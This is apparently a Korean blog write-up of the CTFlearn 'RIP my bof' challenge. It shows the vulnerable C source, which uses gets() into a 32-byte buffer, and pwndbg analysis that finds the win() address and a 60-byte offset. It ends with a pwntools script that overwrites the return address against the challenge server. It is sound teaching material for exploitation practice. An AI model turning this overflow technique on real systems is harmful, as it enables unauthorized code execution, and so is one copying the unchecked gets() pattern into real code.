워게임/CTFlearn

[CTFlearn] RIP my bof - 포너블 / 버퍼오버플로우 / Pwndbg / Pwntool

SecurityMan 2023. 2. 16. 11:00

 

CTFlearn 의 예순 아홉번째 문제

 

후반부로 갈수록 포너블 문제가 비중이 높아지는듯 하다.

 

이번엔 그래도 쉬운 난이도의 포너블 문제이다.

 

지난번 풀이했던 Simple bof 문제보다 살짝 더 어려워졌다.

(https://hackingstudypad.tistory.com/380)

 

반응형

 

 

문제에서 주어지는 것은 bof2.c 소스코드와 바이너리인 server 파일이다.

 

server 파일은 문제에서 제공된 서버(thekidofarcrania.com:4902) 에서 돌아가고 있는 파일이다.

 

 

한번 서버에 접속해본다.

 

nc 명령어를 이용해 접속할 수 있다.

 

그럼 지난번처럼 친절하게 스택의 모습을 다 보여준다.

 

Input some text : 라는 문구가 출력되고 사용자 입력을 받는데

 

 

어떤 값을 입력하면

 

그 값이 스택에 어떻게 들어가게 되는지 보여준다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);

void win() {
  system("/bin/cat /flag.txt");
}

void vuln() {
  char padding[16];
  char buff[32];

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff); 
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  vuln();
}

 

다음으로 제공된 소스코드를 살펴본다.

 

크기가 32 인 buff 배열을 선언하고,

 

거기에 gets 로 사용자의 입력값을 저장하는데

 

입력값의 길이를 체크하지 않아 버퍼오버플로우 취약점이 발생한다.

 

위쪽에 보면 /bin/cat /flag.txt 명령어를 실행시키는 win 함수가 있는데

 

버퍼오버플로우를 통해 리턴 주소를 변경시켜 win 함수를 실행시켜야 하는것이 문제의 목표인듯 하다.

 

 

pwndbg 를 활용해 살펴본다.

 

gdb server 라고 입력했을때 pwndbg가 설치되어 있다면 자동으로 pwndbg가 실행된다.

 

 

info func 명령어로 함수 정보를 살펴본다.

 

여기서 알아야할 정보는 win 함수의 주소이다.

 

0x08048586 을 기억해 둔다.

 

 

다음으로 버퍼를 얼만큼 채워야 하는지 알아야 한다.

 

방금의 스택을 보면

 

맨 끝부분이 리턴 주소를 의미하는데,

 

맨 앞부분부터 리턴 주소 앞까지 총 60바이트 인것을 알 수 있다.

 

from pwn import *

p = remote('thekidofarcrania.com', 4902)

p.recvuntil('text: ')

win = 0x08048586
payload = b'a' * 60 + p32(win)

p.sendline(payload)
p.interactive()

 

알아낸 정보를 이용해 Pwntool 로 코드를 짜면 된다.

 

원격으로 서버에 접속해서 test: 라는 문자열을 받을 때까지 기다렸다가

 

해당 값을 받으면 payload 를 서버로 전송하게 된다.

 

payload 는 a 를 60개 채우고, 그 뒤에 win 함수의 주소를 리틀 엔디안 방식으로 넣어서 구성했다.

 

 

코드를 실행시키면

 

보이는 것과 같이 

 

스택이 온통 0x61 로 가득 차게 되고,

 

리턴 주소가 win 함수의 주소로 변경되어

 

플래그가 출력되게 된다.

반응형